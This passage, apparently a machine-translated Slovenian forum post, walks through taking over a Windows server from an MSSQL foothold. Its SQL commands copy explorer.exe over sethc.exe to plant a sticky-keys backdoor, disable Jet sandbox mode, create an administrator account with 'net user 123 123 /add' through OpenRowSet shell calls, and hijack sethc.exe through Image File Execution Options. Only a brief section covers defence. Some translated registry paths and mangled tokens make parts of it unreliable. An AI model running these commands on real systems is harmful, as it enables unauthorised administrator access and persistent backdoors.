pa je močno povezana s cmd.exe sistemskih datotek, ena je, da je cmd izbrisan, druga pa da se zmanjša dovoljenje za cmd. SQL za preverjanje terminalskih vrat in odprtega statusa: Izvršni mojster.. xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal\Server\WinStations\RDP-Tcp','PortNumber' V redu, ključna točka spodaj je, da uporabite dva SQL ukaza za kopiranje sistemske raziskovalne datoteke v datoteko shift backdoor, naslednji dve ukazi pa se izvajata ločeno. Ta izjava explorer.exe kopira kot sethc.exe declare @o int exec sp_oacreate 'scripremove ting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe','c:\windows\system32\sethc.exe'; Ta izjava sethc.exe kopira v imenik dllcache declare @oo int exec sp_oacreate 'scrip remove ting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe','c:\windows\system32\dllcache\ sethc.exe'; Drugi dve stavki uporabljata sp_oacreate shranjene postopke, ki morajo uporabiti odsole70.dll datoteko, zato je obstoj te datoteke povezan z uspehom njenega ustvarjanja. (2), xpsql.cpp: Napaka 5 iz CreateProcess (vrstica 737) Ta situacija je bolj zapletena, in tako piše na internetu IZVRŠNI master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE', 'SoftWare\Microsoft\Jet\4.0\Engines', 'SandBox Mode','REG_DWORD',0 Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net user 123 123 /add")'); Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators 123 /add")'); Preveril sem peskovnik, da bi poudaril pravice glede tega, vendar je po moji praksi ta stopnja uspešnosti zelo nizka, ker je večina strežnikov izbrisala c:\windows\system32\ias\ias.mdb. Nato lahko poskusite s ugrabitvijo slike, seveda, ugrabitev slike je prav tako pogojna, 1 mora obstajati xp_regwrite ta shranjena procedura 2 je 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe',' Debugger' ni izbrisan Najprej lahko preverite, ali je bil prilepljeni ključ registra ugrabljen Izvršni mojster.. xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe',''', 'Debugger' Če poziv ne najde težave, se dokaz izbriše, ni načina, sethc.exe če ga pozovete, ni mogoče izvesti ukaza SQL IZVRŠNI mojster.. xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='PROGRAMSKA OPREMA\Microsoft\Windows NT\CurrentVersion\Možnosti izvajanja slikovnih datotek\sethc. EXE', @value_name='Debugger', @type='REG_SZ', @value='C:\WINDOWS\explorer.exe' Po petkratni povezavi s terminalom in preklopu gre neposredno na namizje in ga nato ročno doda.
Register spremeni terminalni port
[HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Control \ Terminal Server \ Wds \ rdpwd \ Tds \ tcp]
HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Control \ Terminal Server \ WinStations \ RDP-Tcp,
Kar zadeva preprečevanje ugrabitve slike, se to večinoma doseže z naslednjimi metodami:
★ Zakon o omejitvi dovoljenj
Če uporabnik nima več dostopa do registrskega ključa, teh stvari ne more spreminjati. Odprite urejevalnik registra in pojdite na HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Možnosti izvajanja slikovne datoteke, izberite ta element, desni klik - > dovoljenja - > napredno in znižajte dovoljenja administratorjev in sistemskih uporabnikov (tukaj morate le preklicati operacijo pisanja).
★ Metoda hitrega rezanja neurejene konoplje z nožem
Odpri urejevalnik registra in pojdi v bar
HKEY_LOCAL_MACHINE\PROGRAMSKA oprema\Microsoft\Windows NT\CurrentVersion\Možnosti izvajanja slikovnih datotek
Težavo je mogoče rešiti z neposrednim brisanjem elementa Možnosti izvajanja slikovne datoteke.
SQL ukaz ugrabi registry sticky key namestitev backdoor xp_regwrite 'HKEY_LOCAL_MACHINE', 'PROGRAMSKA OPREMA\Microsoft\Windows NT\CurrentVersion\Možnosti izvajanja slikovne datoteke\sethc.exe', 'Debugger','REG_SZ', 'C:\WINDOWS\system32\kdsn.exe'
Prenos programske opreme:Turisti, če želite videti skrito vsebino te objave, prosim Odgovoriti
|